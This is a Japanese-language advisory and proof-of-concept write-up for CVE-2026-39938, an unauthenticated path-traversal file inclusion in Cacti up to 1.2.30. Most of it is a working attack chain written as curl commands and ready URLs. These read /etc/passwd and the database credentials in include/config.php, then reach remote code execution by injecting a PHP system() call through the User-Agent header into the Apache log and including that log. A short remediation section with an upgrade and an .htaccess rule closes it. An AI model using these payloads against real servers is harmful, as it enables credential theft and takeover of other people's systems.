CVE-2026-39938: Cacti <= 1.2.30 - 未認証のLFI

エグゼクティブサマリー

フィールド	値
CVE ID	CVE-2026-39938
CVSSスコア	9.8 (重大)
影響を受ける製品	Cacti
影響を受けるバージョン	<= 1.2.30
修正バージョン	1.2.31
修正コミット	9871f0c

脆弱性の詳細

根本原因

この脆弱性は lib/rrd.php に存在し、graph_theme パラメータがサニタイズなしで直接使用されています:

脆弱なコード:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

修正されたコード:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

問題点: ../ パストラバーサルシーケンスに対する検証がないため、攻撃者は認証なしで任意のファイルを読み取ることができます。

概念実証 (PoC) - 簡単な手順

ステップ1: 脆弱性の確認 - /etc/passwd の読み取り

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

結果: レスポンスに /etc/passwd の内容が表示されます。

ステップ2: データベース設定の読み取り

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

結果: データベースの認証情報（ユーザー名、パスワード）が露出します。

ステップ3: ログポイズニングによるリモートコード実行

3.1 ApacheログへのPHPコード注入

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 ログファイルをインクルードしてコードを実行

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

結果: コマンドの出力（例: uid=33(www-data)）が表示されます。

テストされた共通エンドポイント

PoC URLの例

基本的なLFIテスト

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

アプリケーション設定の読み取り

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

ログポイズニング（インジェクション）

http://target-cacti/graph_image.php?local_graph_id=1

ヘッダー付き: User-Agent: <?php system('id'); ?>

ログポイズニング（実行）

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

修復方法

修正バージョンへのアップデート

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

パッチ適用の確認

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

一時的な緩和策 (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

参考文献

W.P.E.F

セキュリティ研究目的で生成されたレポート 日付: 2026年6月27日

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

人気